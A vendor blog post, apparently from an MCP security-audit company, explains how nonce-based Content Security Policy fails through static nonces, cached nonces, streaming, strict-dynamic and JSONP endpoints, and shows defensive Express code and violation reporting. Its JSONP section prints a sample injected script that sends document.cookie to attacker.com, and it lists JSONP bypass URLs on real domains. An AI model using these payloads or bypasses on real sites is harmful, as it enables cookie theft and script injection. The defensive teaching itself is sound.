Blog · 2026-06-20 · CSP · Nonce · MCP Server Security
MCP Server CSP Nonce Strategy: Nonce Generation, Reuse Vulnerabilities, Streaming HTML Timing, strict-dynamic, JSONP Bypasses, and report-to Monitoring
Hash-based CSP requires knowing every inline script at deployment time. Nonce-based CSP solves this for dynamically generated content by issuing a per-request secret that the server injects into both the HTTP header and every authorized <script> tag. But nonce-based CSP has five failure modes that frequently defeat its protection in MCP server deployments: static nonces baked at build time, nonce reuse from template or CDN caching, streaming HTML response timing that exposes the nonce before it can be consumed, strict-dynamic propagating trust to attacker-controlled dynamically imported scripts, and JSONP endpoints on whitelisted origins that serve attacker-controlled JavaScript. This post covers each failure mode in depth, plus how to configure CSP violation reporting as a real-time injection detection channel.
Why nonces over hash-based CSP for MCP server UIs
Content Security Policy's script-src directive allows two ways to authorize inline scripts: hash-based and nonce-based. With hash-based CSP, you compute a SHA-256 hash of each inline script and list it in the header: script-src 'sha256-abc123...'. The browser rejects any inline script whose hash isn't in the list. This works perfectly for static pages, but it breaks the moment any inline script content changes at runtime — which happens constantly in MCP server UIs that inject session tokens, CSRF tokens, configuration objects, and tool result summaries into inline <script> blocks.
Nonce-based CSP solves the dynamic content problem. The server generates a cryptographically random value for each HTTP response, injects it into the CSP header as 'nonce-VALUE', and also places it on every authorized <script> and <style> tag as the nonce attribute. The browser executes only scripts whose nonce attribute matches the header value. The nonce changes on every request, so an attacker who observes one page load cannot predict or replay it on a future request.
// CORRECT: Server-side nonce generation in Node.js Express middleware
import crypto from 'crypto';
function cspMiddleware(req, res, next) {
// Generate a 32-byte (256-bit) cryptographically random nonce per request
const nonce = crypto.randomBytes(32).toString('base64url');
// Store on res.locals so templates can reference it
res.locals.cspNonce = nonce;
// Set the Content-Security-Policy header before any response body is sent
res.setHeader('Content-Security-Policy', [
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'nonce-${nonce}'`,
`object-src 'none'`,
`base-uri 'none'`,
`require-trusted-types-for 'script'`,
`trusted-types default`,
`report-to csp-endpoint`,
].join('; '));
next();
}
// Template usage (e.g., EJS):
// <script nonce="<%= nonce %>">
// const CONFIG = <%- JSON.stringify(serverConfig) %>;
// </script>
//
// The nonce on the script tag must exactly match the nonce in the header.
// One character difference = CSP violation, script blocked.
Nonce length requirement: The CSP specification requires nonces to be at least 128 bits of cryptographic randomness. Using crypto.randomBytes(32) produces 256 bits — safe margin above the minimum. Never use Math.random(), Date.now(), request IDs, or any deterministic value as a nonce source.
Why nonce-based CSP closes the gap that hash-based CSP cannot
The critical difference is in how each scheme handles content that includes dynamic data. Consider an MCP tool result summary injected into an inline script block:
// Dynamic inline script — hash-based CSP CANNOT protect this
// The script content changes on every request (different toolResult)
// so the hash changes on every request — you cannot pre-list it in the header
<script>
window.__TOOL_RESULT__ = {
auditId: "a1b2c3d4",
score: 94,
findings: [/* ... server-generated ... */]
};
</script>
// Hash-based approach would require recomputing and redeploying headers
// for every possible tool result — impractical.
// Nonce-based approach handles this trivially:
<script nonce="[per-request random value]">
window.__TOOL_RESULT__ = { /* any dynamic content */ };
</script>
// The nonce doesn't depend on the content — only on the request.
// A different value on every request means:
// - attacker cannot predict the nonce from observing prior responses
// - injected <script> tags without the nonce are blocked
// - attacker who reads the DOM cannot reuse the nonce (it's single-use per request)
This is why nonce-based CSP is the standard recommendation for server-rendered MCP server UIs with dynamic content. But it introduces its own attack surface — five specific failure modes that SkillAudit checks for in every audit.
Failure mode 1: static nonces baked at build time
The most egregious failure: treating the nonce as a deployment constant rather than a per-request random value. This happens when developers misunderstand the purpose of nonces and set them once in environment configuration or build scripts.
// WRONG: static nonce in environment variable — defeats the entire mechanism
// .env file:
// CSP_NONCE=abc123def456 ← same value for every request, forever
// server.js:
res.setHeader('Content-Security-Policy',
`script-src 'nonce-${process.env.CSP_NONCE}'`
);
// <script nonce="abc123def456">...</script> ← hardcoded in template
// The attacker observes one response, extracts the nonce from the DOM,
// and injects:
// <script nonce="abc123def456">stealCookies()</script>
// The browser executes it — the nonce matches the header.
// The nonce provides zero protection when it's static.
Static nonces are worse than no nonce: A static nonce gives a false sense of security — developers believe CSP is protecting them, while the attacker has a permanently valid bypass. At least with no nonce in the header, the lack of protection is visible to reviewers.
// CORRECT: per-request generation
const nonce = crypto.randomBytes(32).toString('base64url');
// New value on every request — attacker cannot predict or reuse
Failure mode 2: nonce reuse from template and CDN caching
The subtler and far more common failure: the nonce is generated correctly per-request at the server, but a caching layer between the server and user returns a cached response — with the cached nonce in both the HTTP headers and the HTML body. The nonce stops rotating.
First request (user A): Server generates nonce=x7Y9k2..., sets it in CSP header and <script nonce="x7Y9k2..."> in HTML. CDN caches the full response including both the header and the body.
Second request (attacker): CDN returns the cached response — same headers, same HTML body. Attacker sees nonce=x7Y9k2... in the DOM.
Third request (victim): CDN still serves the cached response. Victim's browser receives nonce=x7Y9k2... in the CSP header. Attacker's injected script with nonce="x7Y9k2..." — delivered via XSS in a different path — executes because the nonce matches.
// Responses with nonce-based CSP must NOT be cached by intermediaries.
// These response headers are required:
res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate');
res.setHeader('Pragma', 'no-cache'); // Legacy HTTP/1.0 proxy compatibility
// On Cloudflare / CDN: configure bypass rules that exclude all responses
// containing a Content-Security-Policy header with 'nonce-' from cache.
// Cloudflare page rule (example):
// Match: skillaudit.dev/*
// Setting: Cache Level = Bypass ← only for authenticated/dynamic pages
// Alternative: move nonce-bearing scripts out of CDN-cached responses.
// Static assets (JS bundles, CSS) can be served from CDN with hash-pinning.
// The HTML document itself (which contains the nonce) should bypass CDN cache.
Template caching is a related failure that happens without a CDN. Server-side template engines like Handlebars, EJS, and Jinja2 sometimes cache compiled templates. If the nonce is embedded in the template at compile time rather than injected at render time, a new server process or template cache flush serves the old nonce until the next restart.
// WRONG: nonce as a template compilation constant (Handlebars partial example)
// helpers.js compiled the nonce into the partial at startup:
const compiledPartial = Handlebars.compile(
'<script nonce="{{NONCE}}">init();</script>'
.replace('{{NONCE}}', process.env.STARTUP_NONCE) // baked at compile time
);
// CORRECT: nonce as a render-time variable
const template = Handlebars.compile('<script nonce="{{nonce}}">init();</script>');
// At render time:
const html = template({ nonce: res.locals.cspNonce }); // fresh per request
Failure mode 3: streaming HTML response timing
HTTP streaming (chunked transfer encoding, or streaming in Node.js via res.write()) creates a timing problem for nonce-based CSP. The CSP header must be sent before the response body — once the first byte of the body is flushed, headers are locked. The nonce in the header and the nonce in the script tag must be identical. This works fine in buffered responses. In streaming responses, two failure modes emerge.
// CORRECT streaming setup — nonce generated before first write
app.get('/stream', (req, res) => {
const nonce = crypto.randomBytes(32).toString('base64url');
// CRITICAL: Set headers BEFORE any res.write() call
// Once the first chunk is flushed, headers are immutable
res.setHeader('Content-Security-Policy',
`script-src 'nonce-${nonce}'; object-src 'none'`
);
res.setHeader('Content-Type', 'text/html; charset=utf-8');
res.setHeader('Transfer-Encoding', 'chunked');
// Now stream the document
res.write(`<!doctype html><html><head>`);
res.write(`<script nonce="${nonce}">`); // Same nonce as header
// Stream body content (tool results, etc.)
streamToolResults(req, (chunk) => {
res.write(chunk);
}, () => {
res.write(`</body></html>`);
res.end();
});
});
Streaming failure mode A — nonce generated after first write: Some implementations generate the nonce inside a streaming callback that fires after res.write() has already been called. The header is already sent, and the nonce in the header doesn't exist or is empty — but the script tag gets a valid nonce attribute. The browser blocks all scripts because the header nonce doesn't match the attribute nonce. This is a denial-of-service on functionality but does not weaken security.
Streaming failure mode B — nonce leaked in early flush before script execution: If the nonce appears in a script tag flushed in an early chunk, and the response takes significant time to complete, an attacker with network observation capability (on a shared network path) can read the nonce from the partially-delivered response. In a streaming context, the nonce is visible before the page finishes rendering — which is earlier than in a buffered response where the full page arrives at once. Defense: use strict-dynamic (see below) so that script execution is deferred and the nonce window is shorter, and always use HTTPS to prevent network-path observation.
Failure mode 4: strict-dynamic trust propagation
'strict-dynamic' is a CSP keyword that propagates the trust of a nonced script to any scripts that script dynamically creates — document.createElement('script') + appendChild(), or import() calls. Its intended use is to allow JavaScript module bundlers and lazy-loading frameworks to inject script tags at runtime without each injected script needing its own nonce.
The security implication is that strict-dynamic removes the script-src origin allowlist from consideration. If a nonced script calls eval(), loads a script from an arbitrary URL, or passes attacker-controlled content to new Function(), the dynamically loaded script runs even if its origin is not on the allowlist. strict-dynamic trusts the nonced script's runtime behavior, not just its source.
// HOW strict-dynamic WORKS:
// CSP header: script-src 'nonce-abc123' 'strict-dynamic'
// A script with nonce="abc123" is trusted (nonce matches).
// Any script that trusted script creates is ALSO trusted:
// TRUSTED (nonced):
<script nonce="abc123">
// This script has the nonce — it runs.
// Dynamic injection from this script is ALSO allowed by strict-dynamic:
const s = document.createElement('script');
s.src = 'https://cdn.example.com/app-chunk-1.js'; // no nonce needed
document.head.appendChild(s); // executes — trusted because parent was nonced
// ALSO executes (strict-dynamic propagates):
import('https://cdn.example.com/module.js');
</script>
// CRITICAL IMPLICATION: if attacker can influence a nonced script to call:
// eval(attackerControlledData)
// new Function(attackerControlledData)()
// const s = document.createElement('script'); s.src = attackerURL; document.head.appendChild(s);
// ...the attacker code runs. strict-dynamic does NOT restrict what the trusted
// script can load or evaluate — it only establishes that nonce verification
// happened for the initial script. Runtime behavior is not audited by CSP.
// 'unsafe-eval' is NOT implied by strict-dynamic.
// eval() is separately controlled by 'unsafe-eval'.
// But dynamically created script elements ARE trusted by strict-dynamic.
strict-dynamic and 'unsafe-inline': When 'strict-dynamic' is present, 'unsafe-inline' is silently ignored. This is a well-known CSP specification behavior that developers often miss. Adding 'unsafe-inline' for "backward compatibility" alongside 'strict-dynamic' does nothing — modern browsers ignore 'unsafe-inline' when 'strict-dynamic' is present. This is the correct behavior (it protects modern browsers) but can confuse developers debugging why their inline scripts are still blocked.
// CORRECT usage of strict-dynamic: no eval on controlled data, no dynamic src injection
// The nonced script should only load from known-good URLs at known paths.
// If your app does this, strict-dynamic is safe:
<script nonce="abc123">
// Load bundled chunks from the same origin — safe
['chunk-auth.js', 'chunk-dashboard.js'].forEach(chunk => {
const s = document.createElement('script');
s.src = `/assets/${chunk}`; // Same-origin, path controlled by build system
document.head.appendChild(s);
});
</script>
// The nonced script should NOT do this:
<script nonce="abc123">
// DANGEROUS: URL from tool result — attacker controls src
const s = document.createElement('script');
s.src = toolResult.pluginUrl; // strict-dynamic executes this without restriction
document.head.appendChild(s);
</script>
Failure mode 5: JSONP endpoints on whitelisted origins
JSONP (JSON with Padding) is a legacy technique for cross-origin data loading that uses a <script> tag to load a URL that returns executable JavaScript. The pattern: https://api.example.com/data?callback=myFunction returns myFunction({...data...}) — a JavaScript function call that executes when the script loads. This was standard before CORS but is still present in many APIs built before 2015.
The CSP vulnerability: if your script-src whitelist includes any origin that also serves a JSONP endpoint, an attacker can inject a <script> tag pointing at that JSONP endpoint with callback=alert(document.cookie) — and the browser executes it because the origin is whitelisted.
// VULNERABLE CSP that whitelists a JSONP-capable origin:
// Content-Security-Policy:
// script-src 'self' https://maps.googleapis.com https://cdn.example.com
// If cdn.example.com serves a JSONP endpoint:
// https://cdn.example.com/api/data?callback=myFunc
// → returns: myFunc({"user": "alice", "token": "xyz"})
// ATTACK: attacker injects into MCP tool output (via prompt injection or
// compromised tool server):
// <script src="https://cdn.example.com/api/data?callback=fetch.bind(null,'https://attacker.com/?x='%2Bdocument.cookie)"></script>
// CSP allows it (cdn.example.com is whitelisted)
// Browser loads and executes: fetch('https://attacker.com/?x=' + document.cookie)
// Cookie exfiltrated.
// CSP BYPASS CATALOG — known JSONP-capable domains:
// google.com/complete/search?client=chrome&q=test&callback=alert
// accounts.google.com/o/oauth2/revoke?token=x&callback=alert
// yandex.ru/suggest/suggest-geo?callback=alert
// Many CDN analytics APIs, social login SDKs, map SDKs
// DETECTION: For each domain in your script-src whitelist, check:
// 1. Does any URL pattern accept a 'callback' or 'jsonp' query parameter?
// 2. Does the response Content-Type: text/javascript when that parameter is set?
// If yes — it's a JSONP bypass vector. Remove from whitelist or drop JSONP.
Eliminating the JSONP bypass: The fix is removing JSONP entirely from both your own APIs and your CSP whitelist. Replace JSONP endpoints with CORS-enabled JSON APIs. For third-party scripts that you cannot control, use a nonce-based approach rather than origin-based allowlisting — 'nonce-VALUE' 'strict-dynamic' with no origin allowlist entries prevents the JSONP bypass entirely, because a script-src with only nonces and strict-dynamic ignores origin matching for external scripts.
// DEFENSE: nonce-only script-src + strict-dynamic eliminates JSONP bypass
// Content-Security-Policy:
// script-src 'nonce-{per-request}' 'strict-dynamic';
// object-src 'none';
// base-uri 'none';
// With no origin allowlist, there are no whitelisted JSONP endpoints.
// Attacker-injected <script src="https://cdn.example.com/jsonp?cb=evil"> is blocked:
// - no nonce attribute = no match
// - no origin in allowlist = no match (strict-dynamic still requires nonce for root scripts)
// - script blocked.
// The only scripts that execute are those with a valid per-request nonce —
// which the attacker cannot predict or inject.
report-uri vs report-to: CSP violation reporting as a security monitoring channel
CSP violation reports are one of the most underused signals in MCP server security monitoring. When the browser blocks a script because it fails the CSP check, it sends a violation report to a configured endpoint. These reports are real-time signals of injection attempts — each report corresponds to a script that tried to execute but was blocked.
There are two CSP reporting mechanisms. report-uri (deprecated) and report-to (current, part of the Reporting API). Both should be understood:
// DEPRECATED but still widely supported: report-uri
// Content-Security-Policy:
// script-src 'nonce-abc'; report-uri /csp-violations
// Browser sends a synchronous HTTP POST to /csp-violations for each violation.
// Body is a JSON object:
// {
// "csp-report": {
// "document-uri": "https://skillaudit.dev/audit/run",
// "violated-directive": "script-src-elem",
// "effective-directive": "script-src-elem",
// "original-policy": "script-src 'nonce-abc'; report-uri /csp-violations",
// "blocked-uri": "inline",
// "source-file": "https://skillaudit.dev/audit/run",
// "line-number": 47,
// "column-number": 12,
// "status-code": 0,
// "script-sample": "eval(stealCookies())" // first 40 chars of blocked script
// }
// }
// CURRENT: report-to (Reporting API)
// Two headers required:
// 1. Define the reporting endpoint:
// Reporting-Endpoints: csp-endpoint="https://skillaudit.dev/csp-reports"
// 2. Reference it in CSP:
// Content-Security-Policy:
// script-src 'nonce-abc' 'strict-dynamic';
// report-to csp-endpoint;
// Browser batches violations and sends structured JSON:
// {
// "type": "csp-violation",
// "url": "https://skillaudit.dev/audit/run",
// "age": 12, // milliseconds since violation
// "body": {
// "documentURL": "https://skillaudit.dev/audit/run",
// "blockedURL": "inline",
// "effectiveDirective": "script-src-elem",
// "originalPolicy": "...",
// "sourceFile": "https://skillaudit.dev/audit/run",
// "lineNumber": 47,
// "columnNumber": 12,
// "disposition": "enforce",
// "sample": "eval(stealCookies())"
// }
// }
| Attribute | report-uri (deprecated) | report-to (Reporting API) |
|---|---|---|
| HTTP method | POST, synchronous per violation | POST, batched (up to 1-minute delay) |
| Content-Type sent | application/csp-report |
application/reports+json |
| Batching | No — one request per violation | Yes — browser batches for efficiency |
| Browser support | Universal (all browsers) | Chrome, Edge, Firefox (partial); Safari in progress |
| Additional report types | CSP only | Deprecation, intervention, network-error — all share one endpoint |
| Recommendation | Keep for compatibility; will be removed eventually | Primary mechanism — configure this first |
Use both headers in parallel to ensure maximum browser coverage during the transition period. The violation reports give you visibility into attacks as they happen — a spike in script-src violations after a new tool is installed is a strong signal that the tool is returning injection payloads.
// CSP violation report handler (Express)
app.post('/csp-reports', express.json({ type: ['application/csp-report', 'application/reports+json'] }), (req, res) => {
const reports = Array.isArray(req.body) ? req.body : [req.body['csp-report']].filter(Boolean);
for (const report of reports) {
const violation = report.body || report;
// Log to your security monitoring pipeline
logger.warn('csp_violation', {
documentURL: violation.documentURL || violation['document-uri'],
blockedURL: violation.blockedURL || violation['blocked-uri'],
directive: violation.effectiveDirective || violation['violated-directive'],
sample: violation.sample || violation['script-sample'],
lineNumber: violation.lineNumber || violation['line-number'],
userAgent: req.get('user-agent'),
ip: req.ip,
// Correlate with audit session ID if present in the URL
sessionId: extractSessionId(violation.documentURL || violation['document-uri']),
});
// Alert on high-severity patterns:
const blocked = violation.blockedURL || violation['blocked-uri'] || '';
if (blocked.includes('eval') || blocked === 'inline') {
alertSecurityTeam({
type: 'csp_inline_script_blocked',
detail: violation,
severity: 'HIGH',
});
}
}
res.status(204).end();
});
Report-only mode for new deployments: Before enforcing CSP, run in Content-Security-Policy-Report-Only mode with the same header value but a different header name. Violations are reported but not blocked. This lets you collect the full list of scripts your legitimate page loads before switching to enforcement mode — eliminating the risk of breaking functionality when you deploy.
Putting it together: the correct nonce-based CSP stack for an MCP server UI
// Complete CSP configuration for an MCP server UI
// 1. Middleware: per-request nonce
function cspMiddleware(req, res, next) {
const nonce = crypto.randomBytes(32).toString('base64url');
res.locals.cspNonce = nonce;
// Configure the Reporting API endpoint
res.setHeader('Reporting-Endpoints', 'csp-endpoint="https://skillaudit.dev/csp-reports"');
res.setHeader('Content-Security-Policy', [
// Scripts: nonce only + strict-dynamic (no origin allowlist = no JSONP bypass)
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
// Styles: nonce for inline, self for external
`style-src 'nonce-${nonce}' 'self'`,
// No plugins
`object-src 'none'`,
// No base tag manipulation
`base-uri 'none'`,
// Trusted Types closes DOM XSS sinks (see Trusted Types post)
`require-trusted-types-for 'script'`,
`trusted-types default`,
// Modern reporting
`report-to csp-endpoint`,
// Legacy compatibility
`report-uri /csp-reports`,
].join('; '));
// Prevent caching of nonce-bearing responses
res.setHeader('Cache-Control', 'no-store');
next();
}
// 2. Template: nonce on every inline/external script tag
// (Express + EJS example)
// <script nonce="<%= cspNonce %>">
// const SESSION = <%- JSON.stringify(session) %>;
// </script>
//
// External scripts also need the nonce (for browsers that don't implement strict-dynamic):
// <script nonce="<%= cspNonce %>" src="/assets/app.js"></script>
// 3. CSP report endpoint: log + alert on violations
// (see handler above)
// 4. Audit checklist: run SkillAudit CSP check on every deploy
// The scanner checks for:
// - 'unsafe-inline' present alongside 'strict-dynamic' (harmless but signals confusion)
// - 'unsafe-eval' (allows eval — most injection attacks use eval)
// - origin-based allowlist entries (JSONP bypass candidates)
// - No 'report-to' (missing detection)
// - Cache-Control header absent (nonce reuse from CDN cache)
Deployment checklist
- Nonce generated with
crypto.randomBytes(32)or equivalent 256-bit CSPRNG per request — no Math.random(), Date.now(), or counter values Cache-Control: no-storeset on all nonce-bearing responses — no CDN or proxy caching of HTML pages containing script nonce attributes- Template engine injects nonce at render time, not compile time — verified by confirming different nonce values in two sequential responses
- All inline
<script>and<style>tags carry the nonce attribute — no inline scripts without nonce - In streaming responses: nonce generated before first
res.write(), CSP header set before body flush 'strict-dynamic'in script-src — no origin-based allowlist entries in script-src (eliminates JSONP bypass)- No JSONP endpoints on same-origin or previously-whitelisted origins — replaced with CORS-enabled JSON APIs
Reporting-Endpointsheader configured;report-toin CSP pointing to violation handlerreport-urialso configured for browser compatibility during Reporting API rollout- CSP violation handler logs to SIEM with session/user correlation for injection detection
- Alert rules on
script-src-elemviolations withblocked-uri: inline— these are the high-signal injection events - Quarterly audit of CSP report volume per endpoint — sustained increase signals new injection surface
SkillAudit findings for CSP nonce configuration
script-src nonce does not rotate per request; an attacker who observes one response has a permanent bypass for all future injections. Score: −24.
callback= parameter that returns executable JavaScript; an attacker who can inject a <script src="https://[allowlisted]/?callback=evil"> tag has a CSP bypass. Score: −22.
Cache-Control header absent or permits caching; a cached response with a fixed nonce allows attacker to reuse the nonce from a previously cached response. Score: −20.
strict-dynamic propagates trust from the nonced script; if that script evaluates attacker-controlled strings, the attacker has code execution within the trusted script context despite strict-dynamic. Score: −18.
'unsafe-inline' is silently ignored by modern browsers when 'strict-dynamic' is set; the directive is a dead token suggesting the developer does not fully understand CSP behavior and may be relying on 'unsafe-inline' for protection in some code paths. Score: −6.
Audit your MCP server for CSP misconfiguration
SkillAudit checks for static nonces, CDN caching of nonce-bearing responses, JSONP endpoints on whitelisted origins, missing violation reporting, and strict-dynamic trust propagation issues in your MCP server code. Free audit in 60 seconds — paste your GitHub URL.
Free audit →